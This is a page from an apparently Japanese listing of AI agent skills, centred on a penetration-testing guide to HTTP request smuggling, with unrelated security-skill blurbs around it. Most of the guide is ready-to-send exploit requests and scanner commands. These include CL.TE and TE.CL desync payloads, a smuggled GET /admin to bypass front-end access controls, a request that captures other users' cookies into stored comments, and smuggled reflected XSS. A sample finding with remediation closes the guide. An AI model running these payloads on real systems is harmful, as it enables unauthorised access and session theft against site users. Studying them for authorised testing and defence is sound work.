Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
Determine the proxy/server chain and HTTP parsing characteristics.
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"
# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app
# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
# Check if Transfer-Encoding is supported
curl -s -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "0\r\n\r\n" \
"https://target.example.com/" -w "%{http_code}"
# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# If response is delayed (~5-10 seconds), CL.TE is likely
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
# Burp Repeater - disable "Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
Run automated scanners to detect smuggling variants.
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results
# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"
# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected
Leverage confirmed smuggling for practical attacks.
# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy
# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly
# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
body=
# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers
# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
# Next user receives the XSS response instead of their expected response
Assess HTTP/2 specific smuggling vectors.
# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content
# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header
# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests
# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls
| Concept | Description |
|---|---|
| CL.TE Smuggling | Front-end uses Content-Length, back-end uses Transfer-Encoding |
| TE.CL Smuggling | Front-end uses Transfer-Encoding, back-end uses Content-Length |
| TE.TE Smuggling | Both use Transfer-Encoding but parse obfuscated TE headers differently |
| HTTP Desync | State where front-end and back-end disagree on request boundaries |
| Request Splitting | One HTTP request is interpreted as two separate requests |
| Connection Poisoning | Smuggled data affects the next request on the same TCP connection |
| H2.CL Smuggling | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Manual request crafting with disabled auto Content-Length |
| HTTP Request Smuggler (Burp) | Automated smuggling detection extension by James Kettle |
| smuggler.py | Python-based automated HTTP request smuggling scanner |
| h2cSmuggler | HTTP/2 cleartext smuggling tool from Bishop Fox |
| Turbo Intruder | High-speed request engine for time-sensitive smuggling tests |
| curl | Manual HTTP request crafting with precise byte control |
The front-end proxy blocks /admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
## HTTP Request Smuggling Finding
**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin
### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request
### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |
### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
日本語の概要は準備中です。原文の説明を表示しています。
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
日本語の概要は準備中です。原文の説明を表示しています。
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
日本語の概要は準備中です。原文の説明を表示しています。
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
日本語の概要は準備中です。原文の説明を表示しています。
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.
日本語の概要は準備中です。原文の説明を表示しています。